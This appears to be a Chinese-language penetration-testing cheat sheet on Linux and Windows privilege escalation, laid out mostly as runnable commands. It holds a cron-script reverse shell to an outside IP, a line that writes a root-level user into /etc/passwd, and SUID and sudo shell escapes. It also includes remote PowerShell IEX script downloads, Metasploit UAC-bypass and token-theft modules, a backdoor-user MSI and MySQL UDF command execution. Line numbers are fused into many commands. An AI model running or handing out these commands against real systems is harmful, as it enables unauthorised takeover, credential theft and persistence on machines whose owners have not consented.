渗透提权总结
Linux提权提升 脚本https://github.com/carlospolop/PEASS-ng
常用的Linux提权信息收集 1、查看Linux系统内核信息:
2、查看系统版本信息:
3、查看用户和群组信息: 1 2 3 4 5 6 7 8 9 10 11 cat /etc/passwd 列出系统上的所有用户cat /var/mail/rootcat /var/spool/mail/rootcat /etc/group 列出系统上的所有组 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户whoami 查看当前用户 w 谁目前已登录,他们正在做什么 last 最后登录用户的列表 lastlog 所有用户上次登录的信息 lastlog –u %username% 有关指定用户上次登录的信息 lastlog |grep -v "Never" 以前登录用户的完
4、用户权限信息: 1 2 3 4 whoami 当前用户名id 当前用户信息cat /etc/sudoers 谁被允许以root身份执行 sudo -l 当前用户可以以root身份执行操作
5、查看环境信息: 1 2 3 4 5 6 7 8 9 10 11 env 显示环境变量set 现实环境变量echo %PATH 路径信息history 显示当前用户的历史命令记录pwd 输出工作目录cat /etc/profile 显示默认系统变量cat /etc/shells 显示可用的shellrccat /etc/bashrccat ~/.bash_profilecat ~/.bashrccat ~/.bash_logout
6、查看进程和服务: 1 2 3 4 ps aux ps -ef topcat /etc/services
7、查看已经安装的软件信息: 1 2 3 4 ls -alh /usr/bin/ls -alh /sbin/ls -alh /var/cache/yum/ dpkg -l
8、查看计划任务信息: 1 2 3 4 5 6 7 8 9 10 11 12 crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root
9、查看有无明文存放用户密码信息: 1 2 3 4 5 grep -i user [filename] grep -i pass [filename] grep -R -i pass /home/* 2>/dev grep -C 5 "password" [filename] find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password "
10、查看有无SSH私钥信息: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cat ~/.ssh/authorized_keyscat ~/.ssh/identity.pubcat ~/.ssh/identitycat ~/.ssh/id_rsa.pubcat ~/.ssh/id_rsacat ~/.ssh/id_dsa.pubcat ~/.ssh/id_dsacat /etc/ssh/ssh_configcat /etc/ssh/sshd_configcat /etc/ssh/ssh_host_dsa_key.pubcat /etc/ssh/ssh_host_dsa_keycat /etc/ssh/ssh_host_rsa_key.pubcat /etc/ssh/ssh_host_rsa_keycat /etc/ssh/ssh_host_key.pubcat /etc/ssh/ssh_host_key
11、查看与当前机器通信的其他用户或者主机信息: 1 2 3 4 5 6 7 8 9 10 lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w
12、相关日志文件信息: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 cat /var/log/boot.logcat /var/log/croncat /var/log/syslogcat /var/log/wtmpcat /var/run/utmpcat /etc/httpd/logs/access_logcat /etc/httpd/logs/access.logcat /etc/httpd/logs/error_logcat /etc/httpd/logs/error.logcat /var/log/apache2/access_logcat /var/log/apache2/access.logcat /var/log/apache2/error_logcat /var/log/apache2/error.logcat /var/log/apache/access_logcat /var/log/apache/access.logcat /var/log/auth.logcat /var/log/chttp.logcat /var/log/cups/error_logcat /var/log/dpkg.logcat /var/log/faillogcat /var/log/httpd/access_logcat /var/log/httpd/access.logcat /var/log/httpd/error_logcat /var/log/httpd/error.logcat /var/log/lastlogcat /var/log/lighttpd/access.logcat /var/log/lighttpd/error.logcat /var/log/lighttpd/lighttpd.access.logcat /var/log/lighttpd/lighttpd.error.logcat /var/log/messagescat /var/log/securecat /var/log/syslogcat /var/log/wtmpcat /var/log/xferlogcat /var/log/yum.logcat /var/run/utmpcat /var/webmin/miniserv.logcat /var/www/logs/access_logcat /var/www/logs/access.logls -alh /var/lib/dhcp3/ls -alh /var/log/postgresql/ls -alh /var/log/proftpd/ls -alh /var/log/samba/
提权操作 一些命令不止一个,下面就写一个示例一下,更多的可以看上面
内核漏洞提权 首先查看linux发行版版本
查看内核版本
再去查找当前版本是否有漏洞,这里可以用searchsploit工具来查找,或者去在线网站查找
1 searchsploit ubuntu 4.10.0-28
利用内核漏洞提权 下载下来脚本
1 searchsploit ubuntu -m 45010.c
一些内核提权的脚本:
1 2 https://github.com/SecWiki/linux-kernel-exploits https://github.com/bcoles/kernel-exploits
需要编译c脚本
如果条件允许的话,最好在受害机中编译,避免出现提权错误啥的,实在不行也可以先编译好后再传入受害机
给它可执行权限并执行
计划任务提权 如果计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户(该用户权限比当前高),则可以进行计划任务提权到指定用户所拥有的权限
查看计划任务
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cat /etc/ crontab SHELL=/bin/ bash PATH=/sbin:/ bin:/usr/ sbin:/usr/ bin MAILTO=root */5 * * * * root / etc/script/ CleaningScript.sh >/dev/ null 2 >&1
能看到这里以root权限运行CleaningScript.sh脚本,每5分钟执行一次,那也就是是如果可以修改CleaningScript.sh脚本的内容,就能执行相应的shell,反弹shell就能拿到root权限
查看文件属于哪个用户是否有写入权限
写入反弹shell
1 echo "/bin/bash -i >& /dev/tcp/192.168.183.129/6669 0>&1" >> /etc/script/CleaningScript.sh
SUID提权 SUID全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权 。
SUID的特性
1、SUID权限仅对二进制程序(binary program)有效; 2、执行者对于该程序需要具有x的可执行权限; 3、本权限仅在执行该程序的过程中有效(run-time); 4、执行者将具有该程序拥有者(owner)的权限。
收集Linux上suid权限文件信息的脚本:
1 https://gi thub.com/rebootuser/ LinEnu
以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令
1 2 3 find / -perm -u =s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \;
一些已知的具有SUID权限的二进制可执行文件大体有如下:
1 2 3 4 5 6 7 8 9 10 nmap vim find bash more less nanocp awk base64
详细看简谈SUID提权 - FreeBuf网络安全行业门户
以后遇到再补充。。。
命令 利用方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 zsh zsh xargs xargs -a /dev/ null sh -p watch watch -x sh -c ‘reset; exec sh -p 1 >&0 2 >&0 ’ timeout timeout 7 d /bin/ sh -p time time /bin/ sh -p tclsh 1 、tclsh 2 、exec /bin/ sh -p <@stdin >@stdout 2 >@stderr taskset taskset 1 /bin/ sh -p stdbuf stdbuf -i0 /bin/ sh -p strace strace -o /dev/ null /bin/ sh -p ssh ssh -o ProxyCommand=’;sh -p 0 <&2 1 >&2 ’ x setarch setarch $(arch) /bin/ sh -p rsync rsync -e ‘sh -p -c “sh -p 0 <&2 1 >&2 ”’ 127.0 .0.1 :/dev/ null rpm rpm --eval ‘%{lua:os.execute("/bin/sh -p" )}’ python python -c ‘import os; os.execl("/bin/sh" , “sh”, “-p”)’ php 1 、CMD="/bin/sh" 2 、 php -r “pcntl_exec(’/bin/ sh’, [’-p’]);” nice nice /bin/ sh -p nano 1 、nano // 运行nano程序 2 、^R // 按下ctrl-r 3 、^X // 按下ctrl-x 4 、reset; sh -p 1 >&0 2 >&0 // 输入下面的命令 more 1 、more /etc/ profile 2 、!/bin/ sh -p logsave logsave /dev/ null /bin/ sh -i -p less less /etc/ profile // 读取文件,在底行输入!/bin/ sh -p ksh ksh -p ip 1 、ip netns add foo 2 、ip netns exec foo /bin/ sh -p 3 、ip netns delete foo ionice ionice /bin/ sh -p git git help status gimp gimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl("/bin/sh" , “sh”, “-p”)’ gdb gdb -nx -ex ‘python import os; os.execl("/bin/sh" , “sh”, “-p”)’ -ex quit ftp ftp // 在底行输入“!/bin/ sh -p” flock flock -u / / bin/sh -p find find . -exec /bin/ sh -p ; -quit expect expect -c ‘spawn /bin/ sh -p;interact’ env env /bin/ sh -p ed ed // 在底行输入“!/bin/ sh -p” docker docker run -v /:/m nt --rm -it alpine chroot /mnt sh dmesg dmesg -H// 在底行输入“!/bin/ sh -p” csh csh -b bash bash -p awk awk ‘BEGIN {system("/bin/bash -p" )}’ perl perl exec “/bin/ bash”; base64 "/home/redis/flag/flag01" | base64 --decode cd /etc LFILE=shadow base64 "$LFILE" | base64 --decode
配置错误提权 利用前提:/etc/passwd字段其他用户有写的权限,但是默认只有root可写,所以也是由于配置错误导致的漏洞发生。
利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。
执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件
也就是提权到root
1 echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd
就能用test/123456登录了
辅助提权脚本:https://www.securitysift.com/download/linuxprivchecker.py
sudo滥用提权 前提:要利用sudo用户,您需要找到您必须可以使用该命令sudo -l
(也就是需要当前用户的密码)
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。
利用sudo提权的命令如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 wget findcat aptzip xxd time taskset git sed piped tmux scp perl bash less awkman vi env ftp mysql
Linux提权——SUDO_sudo提权-CSDN博客
mysql命令提权(前提是mysql无密码)
Windows提权 Windows权限分类:
User:普通用户权限,分配给该组的默认权限不允许成员修改操作系统设置或用户资料
Administrator:管理员权限,但无法操作SAM文件
System:系统权限(理论上是最高权限,因为常规情况不会涉及TrustedInstaller权限)。可以对SAM等敏感文件进行操作
TrustedInstaller:Windows中的最高权限,可以修改连System权限也无法修改的系统文件
提权分类:
提权exp:https://github.com/lyshark/Windows-exploits
在一些情况可能存在文件夹操作权限限制导致文件不能上传到目标文件夹,一般我们可以把文件上传到C:\users\public下
内核溢出提权
内核漏洞最好在本地先试一下,否则可能会把目标机子打蓝屏
编译exp的话最好直接在受害机编译,没有条件的话就编译好在传进去执行
原理: 程序缓存区大小是事先设置好的,如果输入数据大小超过缓存区大小就会溢出,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址。在某些情况下,这些过量的字符能够作为可执行
代码来运行,从而使得攻击者可以不受安全措施的约束进行攻击行为。这样就可以利用溢出来尝试达到提权的目的了
一些详细的信息收集命令在信息收集那里已经提过了,这里就记一下比较重要的命令吧
查看当前权限
查看内核版本和已打的补丁
1 2 3 systeminfo wmic qfe get caption,description,hotfixid,installedon
可以根据已打的补丁去在线网站查找查询这些补丁对应的内核漏洞,剩下的本机无补丁对应的内核漏洞exp来利用
http://blog.neargle.com/win-powerup-exp-index/
https://i.hacking8.com/tiquan/
自动化工具 先
碰碰运气看能不能直接提权,不能的话就进行下一步
自动查找内核漏洞并利用
1 2 3 4 5 use post/windows/gather/enum_patchesshow options sessionsset SESSION 12 run
当然如果你已经通过在线网站或者工具找到了对应的漏洞名称或版本,且msf恰好有对应的攻击模块,你可以很方便地利用msf来提权
以ms14_058
为例
1 2 3 4 5 6 7 search ms14_058 exploit/windows/local /ms14_058_track_popup_menu //使用找到的攻击模块show options use exploit/windows/local /ms14_058_track_popup_menu sessionsset SESSION 3 run
WES-NG 项目地址:https://github.com/bitsadmin/wesng
先更新一下漏洞库
再执行:
这里的1.txt是systeminfo的内容
成功的话,可以看到对应的漏洞编号
Sherlock 是一个在Windows下用于本地提权的PowerShell脚本
感觉没有前面的几个方便,这个也仅是查找内核漏洞,并不能帮我们直接利用,暂时将优先级排在后面吧
项目地址:https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1
先在目标机器执行:
1 powershell.exe -exec bypass
绕过powershell
的执行策略
再上传Sherlock.ps1文件,导入脚本
1 Import -Module ./Sherlock.ps1
查找漏洞
若出现Appears Vulnerable
,即代表存在漏洞
远程导入:
1 IEX (New-Object System.Net.Webclient).DownloadString(‘https :/ / raw .githubusercontent .com / rasta -mouse / Sherlock/ master / Sherlock.ps1 ’)
配置错误提权 系统权限配置错误 原理: Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。而如果我们当前的用户(即便是低权限)对于该系统服务调用的可执行文件具有写权限,我们就可以将该文件写入我们想要执行的内容,并随着系统服务启动而获得系统权限(Windows服务以System权限运行)
这和linux中计划任务提权有些相似的地方
但是,上面提到成功写入可执行文件之后,想要系统服务启动才能获得权限,这有两种情况:
服务未运行:这种情况只需要替换掉原有的服务,在重新启动该服务就好了
服务正在运行且无法被终止:大多数情况都是这种场景,通常需要我们利用DLL劫持
并尝试重启服务
DLLl劫持 windows查找dll文件顺序:
1 2 3 4 5 6 应用程序加载的目录C : \Windows \System32 C : \Windows \System C : \Windows 当前工作目录Current Working Directory ,CWD 在PATH 环境变量的目录(先系统后用户)
当我们把我们的恶意dll文件和程序本身放在同一个目录下的话,我们的恶意dll文件优先级会高于系统自带的dll,因此就产生了dll劫持
操作步骤
火绒剑查找调用dll
msf生成dll木马
dll劫持
获得system权限shell
PowerUp 项目地址:https://github.com/HarmJ0y/PowerUp
本地上传脚本并调用
1 powershell -exec bypass -Command "& {Import-Module .\PowerUp.psl; Invoke-AllChecks}"
远程
1 powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.14/PowerUp.ps1'); Invoke-AllChecks"
利用Metasploit的exploit/windows/local/service_permissions
模块
1 2 3 4 5 background use exploit/windows/local /service_permissionssession set session 3 run
注册表键AlwaysinstallElevated Window注册表键AlwaysInstallElevated(始终以最高权限安装)是一个策略设置项,说白了注册表键权限提升的问题就是Windows配置策略问题,如果开启此项策略windows的任何用户都可以以最高权限(NT AUTHORITY\SYSTEM)运行安装执行.msi(Windows Installer的数据包)文件。查看Windows installer特权功能是否已启用
1 2 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
开启位置:组策略编辑器->计算机/用户配置->管理模板->windows组件->windows install->始终以提升的权限安装:启用
如果未启用,但是我们有注册表的修改权限,也可以通过修改注册表来启用它
1 2 reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
PowerUp 检测是否启用该策略,True就是启用
1 powershell -nop -exec bypass IEX (New -Object Net.WebClient).DownloadString(‘C:\Users\Admin \DesktopPowerUp.ps1’); Get -RegistryAlwaysInstallElevated
1 Get-RegistryAlwaysInstallElevated
生成添加后门用户的UserAdd.msi文件(可能会被杀软识别,有条件的话上免杀)
1 powershell -nop -exec bypass IEX (New -Object Net.WebClient).DownloadString(‘C:\Users\Admin \DesktopPowerUp.ps1’); Write -UserAddMSI
运行UserAdd.msi文件
1 misexec.exe /quiet /qn /i UserAdd.msi
最后查看用户和administrator管理组
1 net localgroup administrators
使用模块exploit/windows/local/always_install_elevated
1 2 3 4 5 search always_install_elevated use exploit/windows/local /always_install_elevatedshow options set session 1 run
可信任服务路径漏洞 Trusted Service Paths(可信任服务路径)漏洞,如果服务二进制文件的路径没有用引号括起来,并且包含空格,则已安装服务的漏洞名称是服务未加引号的路径。因此,本地用户可以通过将可执行文件放在路径中的可写目录中,将权限提升到管理员权限。
例如:
当windows想要找到c:\Program Files\Some Folder\Service.exe(没有引号)并执行时
windows会依次找到下列程序(若存在)并执行
1 2 3 4 5 C:\Program.exe C:\Program Files\Some.exe C:\program Flies\Some Folder\Service.exe
此时,服务一旦重启,就会以System权限运行(大多数情况下)
查找系统中错误配置的路径 1 wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v "" "
icacls检查服务路径是否可写 1 2 icacls "D:\example" icacls "C:\Program Files"
“Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。可惜的是该图中并没有
M”表示修改
“F”代表完全控制
“CI”代表从属容器将继承访问控制项
“OI”代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。
利用漏洞 如果已经确定了拥有该漏洞,那可以将恶意程序上传到对于的路径,并重启服务
1 2 sc stop service_namesc start service_name
也可以使用msf来操作:
1 2 3 4 5 background search trusted_service_pathuse exploit/windows/local /trusted_service_pathshow optionsrun
计划任务 原理和linux计划任务提权差不多,尝试去覆盖掉以高权限运行的计划任务,等待计划任务再次执行获取高权限
查看计划任务:
1 2 at win7 以前 schtasks win7 及以后
1 2 3 schtasks /query /fo LIST /v schtasks /query /fo LIST /v | findstr "管理员" schtasks /query /fo LIST /v | findstr "Snipaste"
AccessChk 下载地址:AccessChk - Sysinternals | Microsoft Learn
自动接受许可协议
1 2 accesschk.exe /accepteula accesschk /accepteula
查看指定目录的权限配置情况,如果对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。
1 accesschk.exe -dqv "C:\Microsoft" -accepteula
如果具有写入权限,就将恶意程序放在对于目录下,等待计划任务的执行
在自动安装配置文件查找敏感信息 搜索Unattend.xml
1 dir /b /s c:\Unattend.xml
也可以用msf的post/windows/gather/enum_unattend
模块
1 use post/windows/g ather/enum_unattend
组策略首选项提权 组策略首选项功能是Windows 2008 Server引入的,并且08之后的版本都已经打过该漏洞的补丁
SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。
所有的组策略均存储在如下位置:
1 \\<DOMAIN >\SYSVOL \<DOMAIN >\Policies \
在一般域环境中所有机器都是脚本化批量部署的,数据量很大,为了方便对所有机器进行操作。网管会使用域策略进行统一的配置和管理,大多数组织在创建域环境后会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员的安全性,这些组织的网络管理员往往会修改本地管理员密码。
如果通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码。
常见的组策略首选项(GPP)
映射驱动器(Drives.xml)
创建本地用户
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建/更新服务(Services.xml)
计划任务(ScheduledTasks.xml)
获取组策略的凭据 管理员在域中新建一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用了AES-256加密算法,安全性比较高。但是微软在网站上公布过这个算法的私钥,任何域用户和域信任的用户均可对该共享目标进行访问,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机。
1 2 3 use post/windows/g ather/credentials/g pp show options set session 2
绕过UAC提权 Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被”提升权限”,而不是以管理员身份运行的程序。
一些没有管理员权限无法完成的操作:
注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
加载设备驱动程序
DLL注入
修改系统时间(时钟)
修改用户帐户控制设置(通过注册表,可以启用/禁用该设置,但您需要正确的权限才能执行此操作)
修改受保护的目录(例如Windows文件夹,Program Files)
计划任务(例如,以管理员权限自动启动)
一般我们通过msf拿到meterprter的会话后,我们可以通过getsystem或者getuid来检查是否是system权限
如果不是system权限,我们可以通过以下绕过UAC模块对UAC进行绕过,再通过getsystem进行提权
1 2 3 4 5 6 exploit/windows/ local/ask exploit/windows/ local/bypassuac exploit/windows/ local/bypassuac_injection exploit/windows/ local/bypassuac_fodhelper exploit/windows/ local/bypassuac_eventvwr exploit/windows/ local/bypassuac_comhijack
进程注入绕过UAC 通过进程注入使用可信任发布者证书绕过Windows UAC。
1 2 3 4 5 6 7 msf > use exploit/windows/ local/bypassuac msf exploit windows/local/ bypassuac) > set session 1 msf exploit(windows/local/ bypassuac) > exploit getsystem
内存注入绕过UAC 该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64),相比上面的进程注入被杀软检测的概率要低一些
1 2 3 4 msf > use exploit/windows/ local/bypassuac_injection msf exploit(windows/local/ bypassuac_injection) > set session 1 msf exploit(windows/local/ bypassuac_injection) > exploit getsystem
通过FodHelper注册表项绕过UAC 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。
1 2 3 msf > use exploit/windows/ local/bypassuac_fodhelper msf exploit(windows/local/ bypassuac_fodhelper) > set session 1 msf exploit(windows/local/ bypassuac_fodhelper) > exploit
通过Eventvwr注册表项绕过UAC 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。
1 2 3 msf > use exploit/windows/ local/bypassuac_eventvwr msf exploit(windows/local/ bypassuac_eventvwr) > set session 1 msf exploit(windows/local/ bypassuac_eventvwr) > exploit
通过COM处理程序劫持绕过UAC 1 2 3 msf > use exploit/windows/ local/bypassuac_comhijack msf exploit(windows/local/ bypassuac_comhijack) > set session 1 msf exploit(windows/local/ bypassuac_comhijack) > exploit
令牌窃取 令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌,而假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击 令牌种类:
1 2 3 访问令牌(Access Token ):表示访问控制操作主体的系统对象 会话令牌(Session Token ):是交互会话中唯一的身份标识符。 密保令牌(Security Token ):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
令牌窃取是一种可以权限提升的技术,适用的操作系统版本如下:
1 2 3 4 5 6 7 Microsoft Windows XP Professional SP3和之前版本Windows Server 2003 SP2和之前的版本Windows Server 2003 x64和x64 SP2Windows Server 2003 (用于基于Itanium的系统SP2和先前版本)Windows Server 2008 x32 x64Windows Server 2008 (用于基于Itanium的系统)Windows Vista SP1和之前的版本Windows Vista x64 SP1和之前的版本
MSF伪造令牌提权 假设:当前已经获取目标主机的权限,但通过MSF中的getsystem和其他提权方式失败….
1 2 3 4 use incognito list_tokens -u impersonate_token WIN-2 HU3N1\\Administrator impersonate_token WIN-2 HU3N1\Administrator
默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的权限是一个普通域用户,所以令牌窃取只能窃取到当前用户本身是。如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。
Rotten Potato提权+令牌窃取 在msf执行
1 2 use incognito list_tokens -u
当刚才MSF伪造令牌提权方法因权限太低而失败时,可以用Rotten Potato来辅助
将rottenpotato.exe
上传到受害机上
执行并尝试再次窃取令牌
1 2 3 upload /root/Rottenpotato/rottenpotato.exeexecute -HC -f ./rottenpotato.exe impersonate_token "NT AUTHORITY\SYSTEM"
无凭证利用 LLMNR和NetBIOS欺骗攻击
利用Mysql提权 目前也就是利用UDF来提权,等后面学到新trick再记录
使用前提: 能利用弱口令远程连接上mysql
常用命令
1 select @@version_compile_os , @@version_compile_machine
1 SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #查看现有用户select host,user ,authentication_string from mysql.user ; #新建用户create user "username"@"host" identified by "password"; #举个栗子 mysql->create user 'test' @'%' identified by '123' ; host="localhost"为本地登录用户,host="ip"为ip地址登录,host="%",为外网ip登录 #删除用户drop user 'username' @'host' ; #授权 #授予用户通过外网IP对于该数据库的全部权限grant all privileges on `test`.* to 'test' @'%' ; #授予用户在本地服务器对该数据库的全部权限grant all privileges on `test`.* to 'test' @'localhost' ; grant select on test.* to 'user1' @'localhost' ; grant insert on test.* to 'user1' @'localhost' ; grant delete on test.* to 'user1' @'localhost' ; grant update on test.* to 'user1' @'localhost' ; flush privileges ; #查看权限show grants; #查看某个用户的权限show grants for 'jack' @'%' ; #删除权限revoke delete on test.* from 'jack' @'localhost' ;
利用UDF提权 udf全称user defined function也就是用户自定义函数
udf在mysql5.1以后的版本中,存在于mysql/lib/plugin
目录下,文件后缀.dll
,常用c语言编写。
利用条件: 拥有mysql的root权限
利用root权限,创建带有调用cmd函数的udf.dll
(动态链接库)。当我们把udf.dll
导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。
如果mysql版本大于5.1
,udf.dll文件必须放置在mysql安装目录的lib\plugin
文件夹下 如果mysql版本小于5.1
,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录
使用UDF自定义函数
1 CREATE FUNCTION sys_evel RETURNS STRING SONAME 'udf.dll' ;
1 SELECT sys_evel ('cmd command' )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 cmdshell 执行cmd;downloader 下载者,到网上下载指定文件并保存到指定目录;open3389 通用开3389 终端服务,可指定端口(不改端口无需重启);backshell 反弹Shell;ProcessView 枚举系统进程;KillProcess 终止指定进程;regread 读注册表;regwrite 写注册表;shut 关机,注销,重启;about 说明与帮助函数;
sqlmap进行udf提权 1 sqlmap.py -d "mysql://root:root@192.168.0.66/mysql" --os-shell
当然如果该系统存在sql注入漏洞,可以直接拿sqlmap跑shell